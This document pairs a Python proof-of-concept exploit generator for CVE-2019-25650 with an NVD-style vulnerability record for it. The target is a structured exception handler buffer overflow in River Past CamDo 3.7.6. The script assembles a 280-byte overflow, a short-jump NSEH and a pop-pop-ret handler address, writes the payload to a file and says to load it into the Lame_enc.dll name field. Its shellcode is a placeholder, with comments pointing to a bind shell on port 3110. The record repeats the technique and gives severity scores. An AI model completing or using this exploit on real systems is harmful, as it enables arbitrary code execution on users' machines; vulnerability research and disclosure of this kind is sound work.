CVE-2019-25650

import sys import struct # CVE-2019-25650 PoC Generator for River Past CamDo 3.7.6 # This script generates a malicious string to trigger SEH overwrite. # Configuration offset = 280 # Buffer size to overwrite up to SEH ret_addr = 0x1001a05d # Example Pop-Pop-Ret address (needs specific target address) # NSEH instruction to jump short over the SEH handler (6 bytes) # \xeb = jump short, \x06 = distance, \x90 = nop nseh = b"\xeb\x06\x90\x90" # SEH Handler address pointing to Pop-Pop-Ret seh = struct.pack('<I', ret_addr) # Bind Shellcode listening on port 3110 (Metasploit generated example) # This is a placeholder for the actual shellcode bytes. shellcode = b"\xcc\xcc\xcc\xcc" # Padding to maintain structure stability padding = b"\x90" * 500 # Construct the payload payload = b"A" * offset + nseh + seh + shellcode + padding try: with open("camdo_exploit.txt", "wb") as f: f.write(payload) print("[+] Exploit file 'camdo_exploit.txt' generated successfully.") print("[+] Load this into the Lame_enc.dll name field.") except Exception as e: print(f"[-] Error generating file: {e}")

{"cve": {"id": "CVE-2019-25650", "sourceIdentifier": "[email protected]", "published": "2026-03-26T14:16:06.663", "lastModified": "2026-05-01T15:21:32.393", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "River Past CamDo 3.7.6 contains a structured exception handler (SEH) buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying a malicious string in the Lame_enc.dll name field. Attackers can craft a payload with a 280-byte buffer, NSEH jump instruction, and SEH handler address pointing to a pop-pop-ret gadget to trigger code execution and establish a bind shell on port 3110."}, {"lang": "es", "value": "River Past CamDo 3.7.6 contiene una vulnerabilidad de desbordamiento de búfer del gestor de excepciones estructurado (SEH) que permite a atacantes locales ejecutar código arbitrario al proporcionar una cadena maliciosa en el campo de nombre de Lame_enc.dll. Los atacantes pueden crear una carga útil con un búfer de 280 bytes, una instrucción de salto NSEH y una dirección del gestor SEH que apunte a un gadget pop-pop-ret para desencadenar la ejecución de código y establecer un bind shell en el puerto 3110."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://en.softonic.com/download/river-past-cam-do/windows/post-download?sl=1", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/46335", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/river-past-camdo-structured-exception-handler-buffer-overflow", "source": "[email protected]"}]}}